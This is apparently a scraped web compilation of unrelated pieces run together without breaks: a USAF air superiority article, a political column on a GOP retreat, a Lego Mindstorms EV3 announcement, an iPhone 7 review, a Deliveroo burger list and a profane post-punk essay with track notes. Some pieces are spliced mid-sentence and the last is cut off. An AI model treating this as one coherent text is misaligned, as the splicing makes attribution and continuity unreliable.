Though thinking about transformation, the Air Force wants to keep a steady grip on the capabilities it has today. Despite spending cuts, USAF is investing in air superiority by modernizing at least a portion of its legacy F-16C/D and F-15C/D fleets with active electronically scanned array (AESA) radars and new processing technology, as well as countermeasures and additional situational awareness tools, according to USAF’s military deputy for acquisition, Lt. Gen. Charles R. Davis. The Air Force is also boosting procurement and development of its air superiority weapons, the AIM-9X Sidewinder and AIM-120D Advanced Medium-Range Air-to-Air Missile (AMRAAM), in the Fiscal 2014 budget request.
Production of the latest version of AMRAAM—USAF’s premier medium-range air-to-air weapon—was slowed while the test program verified fixes to software issues and production delays. The Air Force wants to purchase 199 AIM-120Ds in Fiscal 2014, up from 113 sought in 2013, and plans to increase production of both the AMRAAM and Sidewinder across the Future Years Defense Program.
These investments don’t advance USAF’s state of the art, though.
“These new systems and enhancements really only bring capabilities and technologies [that have been in existence for] years” and which have been fielded on other platforms, Davis told the Senate Armed Services airland subcommittee in April. The Air Force is now in a mode of reacting to adversary capabilities that are rapidly improving, and Davis noted that several countries have tested prototype fifth generation aircraft in just the last three years.
“We are doing very little to bring new systems on right now, to be able to stay in front of that threat and make the threat react to us,” Davis warned.
The shrinking capability gap, as measured in air superiority aircraft, is one of the issues behind ACC’s push for innovative approaches. Kwast said the Air Force and the rest of the military is still on a long journey away from a Cold War-era force structure: built around large numbers, redundant capabilities, and shaped to defeat adversaries in two near-simultaneous wars.
Kwast, at AFA’s Air Warfare Symposium in February, said the “tapestry of capability” in today’s force is “unsustainable” in the long-term strategic and fiscal environment. New technology can enable better ways of prosecuting missions, he said.
Comms Out, GPS Out
DOD has also indicated its desire to harness cutting-edge research and development to advance the conversation about air superiority. Arati Prabhakar, director of the Defense Advanced Research Projects Agency, said DARPA is in the early stages of the “Air Dominance Initiative,” a collaboration with both the Air Force and Navy to look at technologies which could create a “generational shift” in US air superiority. The project emerged from a consensus among the military services that future threats will be far more sophisticated than those of the last decade, and DARPA has taken a “systems approach” to the question of air superiority and air dominance.
“This is not a question about what the next aircraft looks like,” she explained. The goal of the project is to explore capabilities which, when layered, would “comprehensively extend air superiority.” The ADI team is examining areas such as networking, communications, advanced sensors, and manipulation of the electromagnetic spectrum as potential tools to achieve this. “We’re talking about how manned and unmanned systems might work together, what role space assets play,” she said, adding the ADI study results will inform the next budget cycle.
While much of the air dominance conversation focuses on the future, Hostage noted that he still has to present forces to fight today, and part of the challenge in maintaining air dominance is maintaining a flexible and adaptable mindset.
“We are working the fleet” and the tactics, techniques, and procedures they employ, Hostage said, adding “I’m changing the culture.” In a process began by Hostage’s predecessor, Gen. William M. Fraser III, ACC has steadily ramped up training activities across the combat air forces to be more representative of a combat environment where things taken for granted don’t work or are denied—space-based navigation or functional runways, for example.
When he first flew fourth generation fighter aircraft, Hostage noted, radars and data links were new and sometimes didn’t work correctly. Today, he said, when a pilot turns on the jet, everything works. “I’m taking it away from them.... They’ll fly one scenario where the GPS isn’t working. They’ll fly another scenario where their comms aren’t working.... I want them to be able to... operate routinely and effectively in a contested, degraded environment.”
The days of being able to operate Predator and Reaper orbits over an enemy continuously will be long gone in such a scenario, Hostage added—but by training in an environment where capabilities are degraded, it will prepare airmen for air superiority operations in the future.
It “may not be continuous, but I’ll be able to provide it at a level that allows our combatant commanders to do what they have to do,” Hostage said. “Air dominance means when you’re there, you... hold the upper hand.... That is what this is about—changing the calculus” of the enemy.GOP congressional leaders cheered Donald Trump in Philadelphia today, but not because he gave them any help.
The congressional Republican retreat in Philadelphia this week was supposed to foster highly efficient private discussions and briefings, and let the solons emerge from their labors revealed as a lean, mean, legislating machine. From reports at the end of the first day, however, they looked more like lost sheep, disappointed at the inability of their leaders to provide clear direction on how they would negotiate the tangle of health care, budget, and tax legislation they’ve committed to enact. There is particular anxiety about the very first item on everyone’s agenda: the repeal and replacement of Obamacare.
“Exact, specific and detailed — that’s what people want,” said Rep. Pete Sessions (R-Tex.), the chairman of the House Rules Committee. “We’re going to own this stuff, and we better be able to explain it.”
They sure didn’t get that kind of guidance. Here’s an example:
“I don’t think you will see a plan,” said Rep. Patrick J. Tiberi (R-Ohio), chairman of a key subcommittee on health care. “I think you will see components of a plan that are part of different pieces of legislation that will make up what will ultimately be the plan.”
That’s clear as mud, isn’t it?
Mitch McConnell and Paul Ryan tried to generate a sense of decisiveness and momentum by talking about the timetable for one reconciliation bill to repeal (and replace?) Obamacare, another to cut taxes, and additional actions required on appropriations. But the content of all this frenetic activity was left maddeningly vague.
The big problem Republicans face, of course (beyond the unpopularity and the fiscal unfeasibility of much of what they want), is that they’ve chosen a partisan strategy to enact their agenda, which means precision timing and, most of all, advance assurances their own president is onboard are critical. Nobody wants to be halfway through an amendment vote-a-rama on a budget-reconciliation bill repealing Obamacare to find out via Twitter that Donald Trump has changed his mind or finally understood some key issue thought to be long resolved. So the Republicans in Philadelphia expected some guidance and feedback from the president, scheduled to address them on the second day.
Instead, Trump gave them a ton of headaches even as they arrived in Philadelphia, with a bunch of executive orders on hot-button issues. It was painfully clear nobody at the gathering had been given a heads-up on what he planned to do while they were away from Washington, and new issues to grapple with were absolutely the last things they needed.
But the senators and congressmen dutifully cheered the new boss during his pithy remarks today, even as many inwardly cringed at his cavalier disregard for their needs, and his insistence on pursuing entirely imaginary priorities like “voter fraud,” a reminder that he is still upset about losing the popular vote last November.
What they did not get from Trump’s speech was even an ounce of guidance. His comments on tax reform amounted to one vague sentence. On Obamacare, he spent most of his time making the strange and incredible claim that he had thought seriously about letting the present system stay in place until it collapsed, but instead decided to “help out” Democrats by putting it to the sword. He did mention his interest in a big fat infrastructure spending binge, which most Republicans, worried about the red ink he seems determined to spill, would love just to go away. All in all, it was a sort of unplugged version of a 2016 Trump campaign speech.
Sure, Trump or his underlings could convey more concrete hopes, wishes, and instructions informally whenever they wanted. But listening to Republicans in Philadelphia and elsewhere, it sure sounds like that’s not happening, at least not yet. And so they rush toward the deadlines they’ve set for themselves, without the slightest assurance any of their complex legislative maneuvers will turn out well.
It’s probably an understatement to say that few of the women and men gathering in Philly had any idea, on the morning of November 8, they’d be where they are now, waiting to see whether Donald J. Trump will consummate or squander the best opportunity Republicans have had in many years to realize their most avaricious dreams.Advertisement
One of the best robotics kits is now even better. Lego is unveiling its new Mindstorms EV3 kit today at the Consumer Electronics Show (CES), in Las Vegas. Check out the new features.
As in the previous set, the Mindstorms NXT, the EV3 comes with hundreds of Lego bricks, plus four motors and five sensors, including a new infrared unit that can be used as robotic eyes or to allow a robot to follow a remote control.
This year marks the 15th anniversary of the Mindstorms kit, and Lego really wanted to make the product more exciting to "an audience of children who have grown up with technology." So the company set out to redesign the kit by making it, among other things, "more hackable," to use Lego's own words.
One of the biggest upgrades is the EV3 programmable brick, the heart of every Mindstorms project. The brick has been revamped internally and externally. The central processor is an ARM 9 chip, with 64 MB of RAM and 16 MB of Flash built in for storing programs. A SD-slot allows the memory to be expanded, and there's a better display.
But the biggest innovation is that Lego made it easier for the EV3 brick to communicate via Bluetooth with Android and iOS apps. That means you can use a smartphone or tablet to control a Mindstorms robot or give it new behaviors.
While the previous version of Mindstorms did offer Bluetooth connectivity, Apple devices wouldn't play with Lego's system. Now, due to the addition of a secure Bluetooth chip, Mindstorms robots can connect to iOS devices for the first time, allowing robots to be controlled from an iPhone or iPad.
There's also a USB port that allows owners to connect any Wi-Fi dongle. The whole thing runs under a version of the Linux operating system, and Lego promises to open up the system as much as possible to hackers, with the release of detailed documentation and SDKs coming later this year (the only "black box" that will be left in the system is the chip that supports iOS Bluetooth access).
To program your robotic creations, you can enter commands directly into the EV3 brick via its LCD or you can use the easy-to-use PC software provided. The set also includes a program that Lego created with Autodesk that shows step-by-step 3D instructions for various projects.
The EV3 set will include instructions for 17 different robots, including walking humanoids and insect-like creatures. It will sell for $350 and will be available in the second half of this year.
And in addition to the retail version, Lego is launching an educational version as well. The educational version is actually a collection of kits designed for classroom use, and it features some unique components compared to the retail version, such as a gyroscope sensor that allows the construction of self-balancing robots, Segway-style.
The educational version also comes with rechargeable lithium-ion batteries for the programmable brick. It's assumed that students will work in pairs in the classroom, so this version starts at $5000 with enough pieces to allow 24 students per class.
Via [ Engadget ]
UPDATED: 8 January 2013, 11:18 a.m. EST More details added; 9 January 2013, 8:09 a.m. EST Video added.
Images: Lego; Stephen Cass/IEEE SpectrumSave the Life of Your Company With Special Operations Tactics
An Organization is Only as Good as Its Leadership
Technology, systems, machines, gear, hardware. None of the tools in your organization are more important than the people who turn hard work into profit. The human element always carries more weight when determining success than non-human elements. So how are you focusing your team by controlling the controllables and influencing the variables in your organization?
If you want to be the best at what you do, you have to execute the basics better than anyone else. With a background in special operations, Furlong & Co doesn’t offer “fluff” concepts about leadership and decision making. Instead, you’ll find access to tools that you can deploy immediately to manage your organization more effectively.
Alex Furlong and his team bridge the knowledge gap between time-tested, proven U.S. military processes and the business community in order to help you build a formal framework for making more informed and consistent decisions.The IPhone 7 is made for anyone looking for an upgrade from the IPhone 6. The new IPhone 7 has a longer battery life, more gigabytes, and a brighter screen than the IPhone 6. The battery in the IPhone 7 helps the phone charge from zero percent to one hundred percent at a decent speed. The battery charges the phone to one hundred in half an hour or sooner. The new apple phone has more gigabytes which allows users to store more onto their phone. With more gigabytes people will be able to take more photos and keep them saved to their phone, they will be able to download more music and videos, and their phone would still run at a quick pace. Although the IPhone 7’s screen is not bigger than the IPhone 6’s it makes up for it in how bright the screen can be. The IPhone 7’s screen is around twenty-five percent brighter. This can benefit people who generally stay outside or anywhere that they lighting is intense, they will still be able to see their screen. The only thing I would say is not very appealing about the IPhone 7 is the lack of the headphone jack. There is a cord that you plug into the charger that connects to your headphones but it can be a bit of a hassle. When you are out in public or just on a walk and you are listening to music, you do not want to have to put up with a lot of cords, they can get in your way or be super messy. Another option for using headphones with the new IPhone is buying Bluetooth headphones separately from the phone. These headphones can cost up to hundreds of dollars on top of the hundreds of dollars that the IPhone 7 costs in general. Overall, I would rate the IPhone 7 a three out of five stars. I would recommend the phone to those interested in a phone with a slightly longer battery life, more storage, and more visible screen.
Read moreDeliveroo is serving up free burgers today from a variety of burger joints across Sydney, Melbourne and Brisbane — but you'll have to be very quick. The restaurant list has been finalised. Here are the details.
Photo: Jag_cz/Getty Images
As we reported earlier this week, Deliveroo has teamed up with a bunch of burger joints to offer up free burgers to people across its Sydney, Melbourne and Brisbane delivery zones on July 15. Yes, that's today! Here are some of the burger shops that are participating (this is the final list that Deliveroo provided to us last night):
Sydney:
Barrio Cellar
Hub House Diner
Down N'Out by Hashtag Burgers
Forresters
Chur Burger
Surlys
Jack's Burgers
D'Munchies
BondiTony's
Paradise Road Diner
Small Bar & Kitchen
Moo Gourmet Burgers Manly
Moo Gourmet Burgers Coogee
BurgerCrave
Mamas Buoi
Mojo by Luke Mangan
Jimmy's on the Spit
Melbourne:
St Kilda Burger Bar
Saintly Burger
Hello Sam
Huxtaburger
Thaiger Burger
Mama's Buoi
The Beaufort & Ikes
Caffe La Via
San jose
The B.EAST
Danny's Burgers
C H James
Three one 2 One
Le Petit Prince Armadale
Brisbane:
St Baxter
Buffalo Bar
Hop & Pickle
The deal is happening between 12pm |
Uncle Joe Stalin, sorry, Uncle Joe Strummer who caused the schism. Yup, once that posh too-old cunt had made his crass (memories of ‘Power in a Union’?) appeal to ‘Punk Rockers!’ on whichever Clash single it was, up sprang a whole new generation of newly-uniformed Strummer Jugen, all desperate to wear only the gear what Joe wore, to sing only of the subjects what Joe sang.Posh to the point of having been a public school educated diplomat’s son, and at least old enough to remember Woody Guthrie, Strummer reached out to the working classes in the manner all British Poshies still think best, i.e.: act macho, slurp your tea & and deny your past. And so, after 1977’s Jubilee chaos, the vivid Punk Vision of the Pistols/Clash/Buzzcocks was thereafter absorbed into so-called Punk Rock, a tweaked Men-Only, Shi-ite version of its original Vision, almost always thereafter to be comprised of obligatory 2-minute-hate songs, pub terrace anthems, 4 leather jackets, 4 pairs of scuffed 501s. And whatever Punk had done randomly during 1977, Punk Rock wished ritualistically to re-enact forever thereafter AND demand parity with the form’s originators.In stark contrast to all of this rule-making, the Post-Punk Scene turned out to be a right old Trotskyite Experience, a Permanent Revolution so wild and anti-authority, we’d have had the NKVD at our doors had we been a political party. Displaying remarkable Inclusionist attitudes, the Post-Punk Scene actually facilitated, nay, sought out the involvement of Women! Blacks! Gays! Synthesizers! Saxes! Congas! Art installations! The French! Heck, even some Old Timers! Whaddya mean Old Timers? Well, for a start, such English orphan noise ensembles as Cabaret Voltaire (formed 1973) and Throbbing Gristle (formed 1975) at last found a guaranteed and open-minded audience in the Post-Punk scene, where Throbbing Gristle’s Genesis P-Orridge was soon to be seen in spirited collaboration with fanzine inventor extraordinaire, Mark. P of SNIFFIN’ GLUE. Now, for shit-damn-sure, Mark P. AKA Mark Perry was never Punk Rock, that guy was always just Punk, as evidenced by his daring spoken word live epic ‘Alternatives to NATO’, as evidenced by his pre-Fall v-neck jumper, as evidenced by the sly cover of Kim Fowley’s OUTRAGEOUS LP peeking out from the cover of an early ATV 45. Indeed, Mark Perry’s heady combination of obsessive music fanatic and burgeoning artiste proved to be the perfect blueprint with which to enter this next stage of the revolution: Post-Punk.Like jet set carrion crows, each trafficking an exotic musical morsel from various parts of the world, thrilling Post-Punk groups appeared throughout 1978 that bore almost no musical relation to the simplistic Punk ramalama that had been their band members’ first inspiration. No Elvis, Beatles or the Rolling Stones in 1977, maybe. But the King-For-A-Day pagan attitudes of Post-Punk suggested that “No Clash, No Damned nor Sex Pistols in 1978” appeared just as possible to those most Utopian among us. In Manchester, the Buzzcocks’ Howard Devoto finally re-surfaced preening at the prow of Magazine’s polished, neon Mothership, a laconic and chain-smoking raconteur fuelled by Dave Formula’s banks of bracing polyphonic synthesizers, surely the unpunkest of all noises. Also in Manchester, but unable to compete with such superb musicianship, the non-musicians of Blah Blah Blah – nevertheless desperate to contribute to this inventive Post-Punk scene – avoided negative judgements from the press by super-gluing their 7” record within its sleeve! You jest? I don’t! In London, more first generation punks abandoned their roots: first the posh Tunbridge Wells-born Westminster Public School-educated Shane MacGowan dropped entirely his Jubilee Year Union Jack-wearing for a far more archaic Revolutionary image … the drunken Irish Poet! Eh, there’s always room for one more o’them. Viva authenticity! Come on! Even the archetypal Rent-a-Punks of Wire with their stupid loudmouth bassist entirely ditched the 80mph ramalama of their debut LP PINK FLAG, instead delivering for 1978 an album of extremely noise-some and mid-to-slow tempo material entitled CHAIRS MISSING, a record so devoid of the ‘1-2-X-U’ knuckle-head crowd-pleasers of the previous LP that the band’s 1978 shows often enraged the new Punk Rocker hordes greedy for more of the PINK FLAG-stylee; fucking heck, this was not THE RAMONES LEAVE HOME. But then, underneath it all, Wire were precisely the art school types that the revisionists so detested – hell, even back in ’77, their ex-art teacher guitarist Bruce Gilbert had already reached the grand age of thirty-one!Even Hugh Cornwell was younger than that! Still, over in Manchester, in April 1978, I saw the still-teenage Pop Group – each baggily be-suited in an ERASERHEAD-stylee – lying the Post-Punk flag with extreme grace and eloquence, inflicting upon us an incredibly taut set throughout which they united the heavy funk of G. Clinton’s Funkadelic with the dub of King Tubby, some demented Righteous Brothers-on-Quaaludes crooning, and the proto-rap of New York’s The Last Poets, all of which presented such an unyieldingly pissed off but politically well-informed worldview that it showed up the newly-released second Clash LP GIVE ‘EM ENOUGH ROPE for precisely what it was: old-fashioned. So fucking old fashioned, it coulda been a biplane … or a Blue Öyster Cult Record, Sheesh; SECRET TREATIES certainly comes to mind. Sure, that sounds classic enough now but we’d all cut our hair and followed Foul-mouthed Johnny to get as far away from that shit as was possible. Old fashioned. Old fashioned fucking rock’n’roll they served us, and were shameless enough to try and pass it off as new… and – far worse still – succeeded in hoodwinking most suckers!!! The look of rebellion, that’s all the majority wanted. The look. I still remember standing in Probe Records the day that sad slab came out and thinking “You fucking sell-outs, with your fucking staccato BÖC drums and late Mott choruses. After the thrill of fucking off every adult in Jubilee land the previous year, who the fuck wanted this bloated & too-long-in-the-recording American FM brain-rot? That the LP’s reception in the USA gained the band Album of the Year awards from such arch-bastions of Kapitalism as ROLLING STONE and TIME magazines is all the evidence you need to see just how far Uncle Joe’s band would stoop to conquer. And after releasing that crock of old shite, ex-rockers everywhere seized their opportunity to come in from the cold, Strummer’s decision to Pearlmanize the Clash inevitably endorsing the return of all those hoary old ‘70s big rock riffs again, this time punked up not in any musical manner but by the simple donning of a motorbike leather. People didn’t even bother cutting their hair anymore. Was it punk, was it Thin Lizzy? Thereafter, SOUNDS magazine even tried to pass off AC/DC as Punk Rockers! Suddenly, it was as though the goodtime ‘70s had never been ousted and those fucking sexist geriatrics the Rolling Stones were making a comeback. As evidenced by the 30,000 sales of Stiff Little Fingers’ debut single ‘Suspect Device’, the Americanisation process was almost complete, for the song (undeniably brilliant as it was) had been built entirely around the main riff from Sammy Hagar’s ‘Space Station #5’, still easily available on Montrose’s debut LP, itself still barely three years old. “I’m so bored with the USA but what can I do?” Er, how about totally capitulate, tailor your songs and entire sound to those corporate Yank bastards, then complain you were misunderstood after you’ve reaped all the commercial benefits. Oh okay, says Uncle Joe, who then disappeared from our lives for about four years playing cattle sheds across America; now how un-Punk is that? So rather than re-educating the UK masses as he’d blathered on about for so long, Strummer’s pro-US obsessions facilitated all those Fifth Columnists who churlishly wished only to prolong the Jubilee year’s Punk festivities, and – worser still – prolong it in a tart, bowdlerized form, all gesture and self-parody. So when Suicide – darlings of the UK Post-Punk scene from Day 1 – supported the Clash on their 1978 British tour, parochial meatheads to a man rained bottles down on them for providing no evidence whatsoever of being Punk Rockers (no geetars, no drums, no motorbike leathers, WTF?). What a tragic episode. A musical Holocaust. At the time, I was depressed as all hell and felt outrageously betrayed. Outrageously. And after all those fucking promises, all we got from the Clash were rock’n’roll bromides and Yank imagery. Remembering those Clash/Suicide shows, even today, surely nothing better illustrates the division between what Punk’s experiment coulda been, and what it was now forced to become: merely fast, angry rock played by J. Stalin’s proles. Mao woulda laughed of course (and guessed in advance), but Trotsky woulda turned in his grave. Oh well, it were nice while it lasted, let’s now listen to some of those avant-guardians of Post-Punk, those defiant suckers who needed more than just Dr. Feelgood, Get Out of Denver and the Small Faces speeded-up to count themselves as Revolutionary.But first, after all that fucking spiel, what’s the status of this compilation I’ve chosen to heave in your direction? Well, it’s controversial for a start, because I’ve even included a coupla real early Punk things in there and claimed them for Post-Punk: the Germs and Chaingang for a start both put out records in ’77 that exhibit such singular performance and compositional trademarks that they could been released pretty much anywhere between the 1977-81 period. The rest are songs I’ve played to death over the years, and the list gradually reveals the manner in which various musical options unfolded within what constituted the Post-Punk Scene. Controversially, perhaps, I’ve gone quite late in order to show evidence of the continuing persistence of the Post-Punk spirit even into the Rave years. Anyway you feel about the list is fine by me: so long as it doesn’t just bore you into an early suicide.(1977 Rough Trade 7”)Highly appropriately, POSTPUNKSAMPLER commences with the first ever 7” single release by Rough Trade Records, Metal Urbain’s electro-punk classic ‘Paris Maquis (Paris Resistance)’, whose berserk 6/4 rhythms and ever-repeating circular riffery supports Anarcho-Syndicalist lyrics and persistent yelps of ‘Fasciste!’ throughout. Served up in an anarchist black-and-red bag depicting an inverted Eiffel Tower, this was the second of Metal Urbain’s classic sequence of 45s, and certainly the only one on which they entirely transcended their Velvets/Stooges obsessions to create a purely Gauloise white-light ramalama unjudgable by any but its own. Translating from the French half a decade later, I half-inched ‘Je juge l’etat contre moi (I judge the state against myself)’ for my own song ‘When I Walk Through The Land of Fear’. Oh yeah, and should/could any song conclude more spiritedly than ‘Paris Maquis’s final, unaccompanied, strangulated voice crying in the desert: “Fasciste!!!”(1980 Crass Records 7”)Hailing from Oxford, Zounds used this seven-inch single as a vehicle with which to nail every Post Punk element perfectly, using rickety sub-funk guitar and a wry Mockney accent to disguise a rather finely written Pop Song (including superb middle-8); WTF? Well, Crass majored in some pretty smart disguises themselves, so we shouldn’t be surprised. Also like their mentors Crass, Zounds were daring enough to exploit the weedy Terry Chimes drums of that 1st Clash LP, totally in defiance of 99% of Punk Rockers obliged to find inspiration from MONEY FOR OLD ROPE, thereby lending this recording a cleanness that renders its outwardly affable mystery not less but even more ungraspable.(1978 Rough Trade Records 7”)While Vic Godard never even nearly delivered us the music he heard in his head and talked of so magnificently in the press, his too-intermittent releases were clearly sparser than he wished, and only because there was a high enough overall artistic aim involved for us to forgive his sporadic canon. ‘Ambition’ hailed from the second incarnation of Subway Sect, but since nothing exists of the first ensemble that could represent what they presented their Liverpool audience that night supporting the Clash on the White Riot tour, instead I’ll lay on ya one of Vic’s greatest ‘pop’ songs of all.(1977 Sire Records LP track)Poor Richard Hell was never a man in control of his own metaphor. First Malcy stole off with it across the pond and applied it with more effect to the far younger J. Rotten, then Richard found himself in possession of a possible Cultural Anthem in the form of his song ‘Blank Generation’, but could he record it successfully? Could he, hell. “I don’t mean Blank Generation as in Stupid Generation”, Richard then tells the fascinated press. “I mean it as ‘fill in the blank’ that fits you best.” Then he forgets all that, and alludes to the stooped version when naming his band… The Void-Oids. Sheesh!(1977 What Records 7”)Struggling at all times to keep their eyes on the mish, but nevertheless delivering the dish, LA’s the Germs conjured up a sub-rudimentary unmusical experimental people-carrier over which ‘singer’ Darby Crash anticipated Post-Punk’s wise numbskÙlle sound by at least 18 months. And while NOTHING else during Punk was nearly this deadly monotonous, nor so rigorously underachieving, give it a coupla scene shifts and two years later everybody’d finally caught up.(1982 Psychotic Promotion Records 7”)I learned of the German duo 39 Clocks in 1979, when their manager interviewed me in Cologne and pressed their LP and 7” single into my hands. Included herein, ‘Aspetando Godo’ is that single and still captures that distant time when a drum machine did one thing only and you just had to play along. Like the Bunnymen pre-Pete D-F, 39 Clocks clearly just jammed and jammed until songs emerged, conjuring up ugly but benign tumours of e. guitar scrawl that trundle along, occasionally allowing eddies & flows of pretty Velvets 1969-isms to creep in, before reverting inevitably to The Ugliness. Add to this a transatlantic singer/dead ringer for THE FAUST TAPES and you gotcha self an underground hit.(1979 Sequel Records 7” EP)Next up, ‘Family Tree’ is one motherfucker of a tour de force and nails in two minutes the entire inventory of requirements needed to fulfil the pure Post Punk covenant (angular loud bass, portentous non-US vocalist singing about family issues, slashing weak white funk No Wave guitar). Strange or what, then, that this gem was hidden away on the end of Missing Presumed Dead’s totally forgettable 1979 4-Track 7” SAY IT WITH FLOWERS EP, the song’s northern sound so entirely irreconcilable with the skanky hi-rise white reggae of their other EP songs that my mate Bernie Connors – while working in Liverpool’s Probe Records – declared it to be a parody of the Teardrop Explodes. I disagree. But it’s one hell of an eloquent and succinct statement; a real lost classic methinks.(1980 Pre-Records 7”)Jumping ship to Manchester from the London scene where he couldn’t get a look in, songwriter/guitarist Steve Walsh – briefly a member of Sid Vicious and Viv Albertine’s Flowers of Romance – hijacked the long-time freeform punk band Manicured Noise, then pruned them, rehearsed them and recorded them into a tight, soulful, sax-led Manny take on early Talking Heads. Signing to progrock label Charisma’s fake indie imprint Pre-, Walsh and Co. threatened for a time to come up with a killer first album chock full o’tunes. At the final hurdle, however, they imploded and left us just two rather classic 7” singles. This one sounded amazing loud in clubs; I remember assuming it would be Top 10, then feeling miffed when it did absolutely fuck all.(1979 Stiff 7” single)Thirty-one years ago, the British music press fell in love with a bunch of bands from Akron, Ohio, and the 15-year-old Jane Aire was the one whose inate punkiness got to all of them. Stiff signed her for this sleazy, wheezing, avant-garage debut 7” single, and its strangely staggering piano-led No Wave/Mike Garson-ness and strangulated lead guitar have haunted me ever since. The mad unsung genius behind this single was one Liam Sternberg, whose piano and songwriting should really have been investigated further from the evidence of this recording.(1980 4-song cassette)Future Shack/Pale Fountains boss Mike Head sounded like J.Div/Teardrops until I accidentally left my copy of LOVE REVISITED around at Yorkie’s, where we practised. Thereafter, Michael was reborn on the W. Coast and found his true calling was not to be stuck Jaz Coleman-like singing from behind a monophonic synth, but to (far more admirably) start learning the whole of Arthurly’s (then) too unsung FOREVER CHANGES and exquisite lost/last Elektra 45 ‘Your Mind & We Belong Together’. Joined here by Yorkie on bass, and two others, ‘Photograph’ was recorded around early 1980, in the same place we’d done ‘Sleeping Gas’ eighteen months earlier.(1980 Struck Dumb 7”)When drummerless A Certain Ratio supported us at the Factory, back in May 1979, singer Simon Topping cloaked their entire sound with some strange hand-held noise-making device, which ne’er left his mitts throughout their entire show. Within the year, however, said device was history and the entire band thereafter hung their shabbily-scrawled riffage over the mighty funk rhythms of new black drummer Donald Johnson, the results of which were a magical skronk hybrid that more than did the trick. Sounds to me like Oxford’s Dum Dum Dum opted herein for precisely the same route, surfacing with this obvious-but-compelling post-PIL rhythmical racket all surmounted with glissando guitars and fun-fun-fun-type lyrics delivered in an Iggy Devoto stylee.(1980 Crass Records LP track)The proof of original Punk’s Inate Truth was proved in mid-78 by the release of Crass’ FEEDING OF THE FIVE THOUSAND E.P., on which they mesmerised me with their superb distillation of Punk. As a snob who’d started growing his hair long at the end of ‘77, I watched Crass with all their moves – heir hypnotising posing, their scary banners, their reserves of substitute vocalists/poets – promoting that EP at Eric’s and discovered with something akin to a thunderbolt-from-the-blue that it was possible for really smart and organised adult anarchists to combine Bakuninist thoroughness with all that unharnessed Jubilee teen pissed-offness and craft it so tightly, so carefully, so heroically that you could capture generations two tiers below you. Being a daft tripping cunt, I forgot soon after, but return again and again to Crass, just so I can revive my flagging Revolutionary Spirit.(1980 debut album track)Blasting forth with their bizarre hybrid of ‘Bodies’-period J. Rotten vocals and errant axe riffs straight outta the Mars-meets-Voidoids No New York school, Tokyo’s Friction nailed the entire Western Post-Punk Conceit so succinctly to their whipping post not because the band was composed of intuitive first timers, but because leader Reck had just returned from a brief spell as bass player in a late late incarnation of NY’s notorious Teenage Jesus & the Jerks. Of undefined age and with a hippy past as long as Withnail’s coat-tails, Reck returned to Tokyo having entirely copped Richard Hell’s look and attitude (though mercifully not his bass guitar style) and a full 12 months on which to build his rep before his fellow countrymen realised he was just what he was recycling.(1992 album track)Proof positive of the Post-Punk blueprint’s staying power was this technically way too-late offering from former Loop pair, drummer John Wills and singer/guitarist Neil Mackay. Hair & Skin Trading Company rarely sounded like they do on this remarkably Post-Punk assault; they generally dubbed it up and confused the punters with electronic drone assaults of pure experiment, especially on 1992CE’s JO IN NINE G HELL, whence comes this truly formidable track.(1975 stereo recording)Until Rough Trade released the first Electric Eels vinyl in 1979, nobody had heard these mythical beasts outside their home city Cleveland, Ohio. So you can imagine how much minds were blown when their cavernous sub-sub-SPIRAL SCRATCH sound was shown to have been captured on tape four long years earlier, back in barren 1975! Not only is the Electric Eels’ canon chock full of future classics awaiting cover versions, but their songwriting emanated from several highly competitive sources, giving the Eels the compositional edge that will see their standing rise and rise in the coming decades. In 1981, Eels singer David E. interviewed me during a Teardrop show in Cleveland; it was in the middle of ‘that’ tour unfortunately, so I was more than the worse for wear. I do, however, still have the copy of CLE magazine he gave me, with a nice flexi of Pa Ubu doing the Seeds’ ‘Pushin’ Too Hard’. Sorry for the nostalgia fest, kiddies; snivel, drool, sometimes it all just seems so long ago!(Kapitalist 7” 1977)Next up, Chaingang’s ‘Son of Sam’ was such a stone killer, such a creepy and dyslexic lurch of a tale that a Liverpool cult developed around it. Sheesh, even the silver Kapitalist record label was a bit off. Myself, Budgie and our skinny mate Hughie Jones formed a band called the Young Winstons just for the purposes of performing this song. That lurching, straining riff, that stentorian snare drum … was there even a full kit?(1977 Rather Records 7” EP)Meanwhile, over in Middle England, Leamington Spa’s finest Swell Maps descend in ‘Read About Seymour’, a sonic homemade plywood 1:1 De Havilland Mosquito, powered by rubber bands and lots of enthusiasm. This is thee Ur-racket, an incendiary riot of dual/even triple in-joke lead vocals intoned by school friends, each of whom musta contributed a lyric. But who the fuck knows what these gentlemen dudes were on, search me. Their records sounded like Asmus Tietchens producing the Buzzcocks, but their stupid record sleeves pitched them more between the Undertones and a dafter The Fall. This sound, though, is some-fucking-thing-fucking-else … and the ‘drums and tea tray’ credit just about sums these suckers up.(1979 Polydor album track)Denmark’s finest punk band, the Sods generally did ‘Punk’ very well, a smorgasbord of white reggae, Siouxian guitar noise, Wire ramalama, but all performed with enough conviction to achieve a believable hybrid; even the Sods’ name was a clever enough catch-all. Herein, they skank and stutter like De Presse covering the Ruts, a Malcolm Owen-as-Strummer bark doubles as lead vocal whilst proto-J. Div extraneous noise hoses the backing track and urbanizes the proceedings. Later, as Sort Sol, the same quartet successfully converted to genuine serious grey-button-down Post-Punk, but this song nails our present POSTPUNKSAMPLER metaphor nicely enough.(1981 Z Block 7” EP)The old cliché about a drummer being someone who hangs around with musicians could well have originated in the Reptile Ranch rehearsal room, their sticksman obviously having gained his position in the band by telling them it’s not what you play, it’s what you leave out that makes you a good player. Ah, but not having the heart to kick him out, the other three spiritedly make up for his deficiencies with this highly-arranged and intricately composed Post-Punk song, during which both bass player and organist reach their own individual musical epiphanies, and the blagger guitarist struggles not too hard to mask his own ineptitude, knowing the random cymbal crashes are always funnier. In just over 3-minutes, Reptile Ranch sum up the entire Northern Indie Scene of two years previous. Nice.(1980 Phonogram Records LP-track)In 1978, a few sofas and a lamp standard on Dalek I Love You’s defiantly Post-Everything stage set was enough to cause a schism in the ranks of myself and my compadrés. You can’t do that: you can, they did it. Still, Dalek bassist Dave Balfe came to the mainland while leader Alan Gill grew pot in his sideboard. Soon after, I was over the water inhaling the sideboard and being introduced to LSD by its owner… hmm, perhaps my memories’ still got mucho rose-tinted spectacles. Herein, Alan’s using Vox Jaguar organ and mucho Dave Wakeling-style tremolo on the old larynx, trying to stop his lady from leaving. He’s caught in a sea of typical Post-Punk soundscapes between Reptile Ranch and the Colours Out Of Time, but he ain’t going down casually.(1981 John Peel Session)Remember the Colours Out Of Time? Nere, nobody else does neither. Yet these poor sods from Crewe, in Cheshire, were several times close to getting somewhere had they not, every time, scuppered their own chances by changing their own metaphor and (accidentally) becoming a different band. I booked them to support The Teardrop Explodes at Liverpool’s Club Zoo on the strength of their first 